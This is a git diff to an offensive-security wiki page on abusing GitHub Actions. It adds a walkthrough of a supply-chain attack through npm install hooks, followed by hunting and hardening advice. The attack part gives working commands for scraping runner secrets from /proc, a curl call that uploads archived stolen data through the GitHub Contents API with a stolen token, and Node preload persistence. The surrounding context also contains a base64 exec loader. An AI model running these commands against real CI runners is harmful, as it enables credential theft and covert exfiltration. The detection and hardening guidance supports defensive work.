diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 5aa444e4e..f29daeeb3 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -726,6 +726,108 @@ import base64,os;exec(base64.b64decode(os.environ["STAGE2_B64"])) Drop the line above into a file such as `evil.pth` inside `site-packages` and it will execute during Python startup. This is especially useful in build agents that continuously spawn Python tooling (`pip`, linters, test runners, release scripts). +#### Procfs secret scraping, GitHub API dead-drops, and Node preload persistence + +A newer and nastier variant of the **malicious `preinstall` / `postinstall` supply-chain pattern** is to use the package hook only as the **first stage**, then immediately pivot into **runner secret scraping**, **GitHub-native exfiltration**, and **developer-tool persistence**. + +**Technique chain seen in the wild:** + +- The attacker publishes a trojanized npm package version with a `preinstall` / `postinstall` script (for example, `node -e "require('./.build/preinstall.js')"`). +- As soon as the package installs in CI, the payload enumerates **runner processes and credential files** instead of relying only on log output. +- If the workflow has GitHub credentials, the malware can exfiltrate via the **GitHub Contents API** so outbound traffic looks like legitimate GitHub activity. +- On self-hosted runners or developer workstations, the payload can persist by dropping a preload file and forcing future Node.js programs to execute it via `NODE_OPTIONS=--require `. + +**Why this matters in GitHub Actions:** GitHub log masking only hides values when they reach the logs. If attacker code runs on the runner, it can often still recover the underlying plaintext secrets from the process environment, memory, temp scripts, credential files, or local tool configs. + +##### 1) Procfs-based secret scraping on Linux runners + +Instead of printing `${{ secrets.* }}` directly, the payload can inspect Linux procfs to recover values held by the runner worker process: + +```bash +PID=$(pgrep -f 'Runner.Worker|runner.worker') +tr '\0' ' ' < "/proc/$PID/cmdline" +cat /proc/self/maps | grep heap +strings "/proc/$PID/environ" | grep -E 'ACTIONS_|GITHUB_|AWS_|AZURE_|GOOGLE_' +# When permissions allow it, read raw process memory too: +# dd if=/proc/$PID/mem bs=1 skip= count= 2>/dev/null +``` + +High-value targets include `ACTIONS_RUNTIME_TOKEN`, `ACTIONS_CACHE_URL`, `GITHUB_TOKEN`, cloud OIDC / STS credentials, package-publisher tokens, and any long-lived secrets that the workflow loaded into the environment. + +##### 2) GitHub Contents API as a dead-drop exfil channel + +If the malware steals a write-capable GitHub token, it does not need a noisy attacker-controlled C2. It can exfiltrate into a repository using normal GitHub API calls: + +```bash +PAYLOAD_B64=$(tar cz /tmp/stolen 2>/dev/null | base64 -w0) +curl -s -X PUT \ + -H "Authorization: Bearer $GITHUB_TOKEN" \ + -H 'Accept: application/vnd.github+json' \ + "https://api.github.com/repos///contents/.telemetry" \ + -d @- < [!NOTE] +> GitHub blocks setting `NODE_OPTIONS` via `GITHUB_ENV`, but malware running on the host can still persist by editing config files, shell startup files, or other local environment sources. + +##### 4) Hunting and containment + +If a suspicious dependency executed in GitHub Actions or on a self-hosted runner, assume the environment is compromised and check at least: + +```bash +# Find install hooks in the dependency tree +find node_modules -name package.json -print0 | xargs -0 grep -nE 'preinstall|postinstall|prepare' + +# Hunt for preload persistence +ls -la /tmp/.node_preload.js ~/.node_preload.js +grep -Rni 'NODE_OPTIONS\|node_preload' ~/.config/Code ~/.claude ~/.bashrc ~/.zshrc 2>/dev/null + +# Review package pinning / lockfiles +npm ls 2>/dev/null +jq '.packages // {}' package-lock.json 2>/dev/null | grep -n '"version"' + +# Review suspicious GitHub API writes or odd telemetry-like traffic +ss -tnp | grep -E 'api\.github\.com|m-kosche\.com' +``` + +On GitHub-hosted runners, the VM is ephemeral, but any **stolen tokens remain valid until rotated**. On **self-hosted runners**, rebuild from a known-good image instead of trying to surgically clean the box. + +##### 5) Hardening install-time supply-chain exposure + +- Prefer **`npm ci`** over `npm install` in CI so the lockfile is authoritative. +- Pin sensitive dependencies exactly instead of allowing wide semver drift. +- Disable install scripts where possible (`npm config set ignore-scripts true`). +- Prefer **trusted publishing / OIDC-backed publishing** over long-lived registry tokens in `~/.npmrc`. +- If using pnpm, consider **`minimumReleaseAge`**, **`blockExoticSubdeps`**, and explicit build-script allowlisting so freshly published or unusual dependencies do not execute automatically. + #### Alternate exfil when outbound traffic is filtered If direct exfiltration is blocked but the workflow still has a write-capable `GITHUB_TOKEN`, the runner can abuse GitHub itself as the transport: @@ -910,5 +1012,8 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All - [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases) - [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/) - [Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on Security Infrastructure](https://unit42.paloaltonetworks.com/teampcp-supply-chain-attacks/) +- [Shai-Hulud Is Back, and This Time It Ate the Whole Ecosystem](https://trustedsec.com/blog/shai-hulud-is-back) +- [Workflow commands for GitHub Actions](https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions) +- [pnpm settings](https://pnpm.io/settings) {{#include ../../../banners/hacktricks-training.md}}